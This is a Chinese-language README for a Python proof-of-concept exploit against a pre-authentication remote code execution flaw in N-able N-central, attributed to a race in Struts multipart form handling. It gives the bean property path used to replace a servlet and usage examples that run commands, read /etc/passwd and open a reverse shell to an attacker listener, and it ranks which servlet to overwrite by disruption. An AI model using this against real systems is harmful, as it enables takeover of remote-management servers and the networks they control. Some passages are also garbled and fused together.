这是一个针对 CVE-2026-86218 的 Python 3 概念验证漏洞利用程序,该漏洞是 N-able N-central 中的一个严重预认证远程代码执行漏洞。
漏洞详情:
N-able N-central 在一个未认证操作(/remoteControlAction.do)上使用了会话作用域的 Struts 表单。两个并发的 multipart 请求可以竞争该表单的 multipart 处理器,并将 Jetty 的实时配置暴露给 Commons BeanUtils 属性填充。这允许攻击者:
/bin/sh -s 执行任意命令pip install requests
python3 CVE-2026-86218.py -t <target_url> [options]
| 选项 | 描述 |
|---|---|
-t, --target | 目标 N-central URL(例如 https://192.168.1.100) |
-c, --command | 要执行的单条命令 |
-i, --interactive | 交互式命令模式 |
--lhost | 反向 shell 的监听 IP |
--lport | 监听端口(默认:4444) |
--servlet | 要替换的 servlet:LogRetrieval、FileTransfer、AutomationManagerDownloadServlet |
--check | 检查目标是否存在漏洞 |
--no-verify-ssl | 禁用 SSL 证书验证 |
--timeout | 请求超时(默认:30s) |
--race-delay | 竞争条件延迟(默认:0.35s) |
-v, --verbose | 启用详细输出 |
python3 CVE-2026-86218.py -t https://192.168.1.100 --check --no-verify-ssl
预期输出:
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --no-verify-ssl
预期输出:
╔══════════════════════════════════════════════════════════════════╗
║ CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit ║
║ Version: 1.0.0 ║
║ CVSS: 10.0 (Critical) ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[*] Establishing connection for race condition...
[*] Sending helper request to install handler...
[*] Sending mutation fields...
[+] Race condition completed successfully
[*] Executing command: id
[+] Command executed successfully
uid=998(nable) gid=998(nable) groups=998(nable)
首先启动监听器:
nc -lvnp 4444
运行漏洞利用程序:
python3 CVE-2026-86218.py -t https://192.168.1.100 --lhost 10.10.14.5 --lport 4444 --no-verify-ssl
预期输出:
[*] Preparing reverse shell to 10.10.14.5:4444
[!] Starting reverse shell...
[!] Make sure to have a listener running: nc -lvnp 4444
[+] Reverse shell payload sent successfully!
[+] Check your listener for incoming connection
监听器输出:
listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [192.168.1.100] 49234
id
uid=998(nable) gid=998(nable) groups=998(nable)
python3 CVE-2026-86218.py -t https://192.168.1.100 -i --no-verify-ssl
交互式会话:
╔══════════════════════════════════════════════════════════════════╗
║ CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit ║
║ Version: 1.0.0 ║
║ CVSS: 10.0 (Critical) ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[+] Race condition completed successfully
[*] Entering interactive command mode
[*] Type 'exit' or 'quit' to leave
[*] Type 'shell' for reverse shell setup
ncentral> id
uid=998(nable) gid=998(nable) groups=998(nable)
ncentral> cat /etc/passwd | head -5
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
...
ncentral> shell
Listener IP: 10.10.14.5
Listener Port: 4444
[*] Preparing reverse shell to 10.10.14.5:4444
[+] Reverse shell payload sent successfully!
ncentral> exit
# Use FileTransfer servlet (more disruptive)
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --servlet FileTransfer --no-verify-ssl
| Servlet | 描述 | 影响 |
|---|---|---|
LogRetrieval | 日志检索端点(默认) | 破坏性最小,日志在重启前不可用 |
FileTransfer | 文件传输端点 | 破坏文件传输功能 |
AutomationManagerDownloadServlet | 自动化管理器下载 | 需要管理 UI 端口(8443) |
/remoteControlAction.do 从错误页面提取版本该漏洞利用了 Struts 的 multipart 表单处理中的竞争条件:
变异字段使用 JavaBean 属性路径:
multipartRequestHandler.servlet.servletContext.classLoader.context.servletHandler.servlet(LogRetrieval).heldClass
这会遍历:multipart 处理器 → servlet 上下文 → 类加载器 → WebAppContext → servlet 处理器 → 特定持有者
/remoteControlAction.do 的异常请求本漏洞利用程序仅供授权的安全测试和教育目的使用。未经授权对您不拥有或未获许可测试的系统使用本漏洞利用程序是非法的且不道德的。
在进行渗透测试活动之前,请务必获得适当的授权。